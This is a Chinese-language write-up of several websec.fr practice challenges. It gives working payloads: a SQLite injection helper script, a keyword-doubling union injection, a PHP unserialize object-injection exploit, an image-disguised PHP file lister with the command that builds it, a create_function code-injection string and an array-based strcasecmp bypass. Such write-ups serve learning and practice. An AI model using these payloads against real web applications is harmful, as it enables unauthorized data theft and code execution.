websec.fr writeup

20171022开坑,好像还蛮有意思的一个练习平台.

地址:http://websec.fr

level01

简单的sqlite注入,有隐藏表单token,所以写了个交互脚本来注比较方便.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#! /usr/bin/env python3
# Author : sn00py
# Date : 2017/10/21 22:31
# Email: 3022235906@qq.com
# Comment: sqlite injection tool for level01 on websec.fr
import requests
import re
def injection():
url = "http://websec.fr/level01/index.php"
cookies = {"PHPSESSID": "9cms1e835deqkfb867db5u3d69n800t6"}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Ch"
"rome/61.0.3163.100 Safari/537.36"}
res = requests.get(url, cookies=cookies, timeout=99)
token = re.search(r"name=\"token\" value=\"([0-9a-zA-Z]+)\"", res.text).group(1)
print('token:', token)
while True:
payload = input('>>>')
data = {
'user_id': payload,
'submit': '%E6%8F%90%E4%BA%A4',
'token': token
}
res = requests.post(url, data=data, cookies=cookies, headers=headers)
token = re.search(r"name=\"token\" value=\"([0-9a-zA-Z]+)\"", res.text).group(1)
search = re.search(r"(id -> .+)<br />(username -> .+)<br /> ", res.text)
print(search.group(1))
print(search.group(2))
print('token:', token)
if __name__ == '__main__':
injection()

level02

双写关键字绕过

1
-1 uunionnion seunionlect 1,password frofromm users

level03

level04

发现cookie有一点奇怪,

1
Cookie: leet_hax0r=YToxOntzOjI6ImlwIjtzOjE0OiIxMDEuMjA3LjEyMS4zNyI7fQ%3D%3D

先URL解码,然后base64解码,得到,

1
Cookie: leet_hax0r=a:1:{s:2:"ip";s:14:"101.207.121.37";}

是个序列化字符串.尝试不带cookie访问,

给出了源码,

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'connect.php';
$sql = new SQL();
$sql->connect();
$sql->query = 'SELECT username FROM users WHERE id=';
if (isset ($_COOKIE['leet_hax0r'])) {
$sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
try {
if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
die('CANT HACK US!!!');
}
} catch(Exception $e) {
echo $e;
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}
if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
try {
$sql->query .= $_REQUEST['id'];
} catch(Exception $e) {
echo ' Invalid query';
}
}
?>

connect.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class SQL {
public $query = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
}
public function SQL_query($query) {
$this->query = $query;
}
public function execute() {
return $this->conn->query ($this->query);
}
public function __destruct() {
if (!isset ($this->conn)) {
$this->connect ();
}
$ret = $this->execute ();
if (false !== $ret) {
while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
}
}
}
}

从代码逻辑可以看出,我们直接访问index.php应该是不会触发die()的,但是我当我满足$sess_data['ip'] != $_SERVER['REMOTE_ADDR']的时候,还是die掉了,所以我怀疑是我网络的原因(学校网络有多个出口IP),我尝试在VPS上打开题目,果然,没有再触发die.

很显然,直接传进去的id参数是没法注入的,而$query是类的属性,可以直接通过反序列化注入一个对象来直接控制\$query,所以注入就产生了.

EXP如下,

1
2
3
4
5
6
7
8
9
10
11
<?php
class SQL {
public $query = '';
}
$obj = new SQL();
//$obj->query = "SELECT username FROM users WHERE id=-1 union select group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%'-- -";
//$obj->query="SELECT username FROM users WHERE id=-1 union select sql from sqlite_master where type!='meta' and sql not null and name not like 'sqlite_%' and name='users'-- -";
$obj->query="SELECT username FROM users WHERE id=-1 union select password from users-- -";
$arr = array('ip'=>'666.666.666.666', $obj);
echo base64_encode(serialize($arr));

level08

上传gif图片马,

1
2
3
4
5
<?php
foreach(glob("*") as $f){
highlight_file($f);
}
?>

cmd制作图片马,

1
copy 1.gif/b+1.php

level10

猜测是md5长度拓展攻击,但是…还不会..

level15

1
2
3
4
5
6
7
8
9
10
<?php
include "flag.php";
if (isset ($_POST['c']) && !empty ($_POST['c'])) {
$fun = create_function('$flag', $_POST['c']);
print($success);
//fun($flag);
if (isset($_POST['q']) && $_POST['q'] == 'checked') {
die();
}
}

create_function()用于创建匿名函数,即使不被调用,也存在代码注入的问题.

1
return -1 * var_dump($a[""]);}var_dump($GLOBALS);/*"]

Refer: https://www.exploit-db.com/exploits/32417/

level 17

1
2
3
4
5
6
<?php
if (! strcasecmp ($_POST['flag'], $flag))
echo '<div class="alert alert-success">Here is your flag: <mark>' . $flag . '</mark>.</div>';
else
echo '<div class="alert alert-danger">Invalid flag, sorry.</div>';
?>

strcasecmp()和strcmp()都存在传入数组被绕过的问题.

1
flag[]=a&submit=Go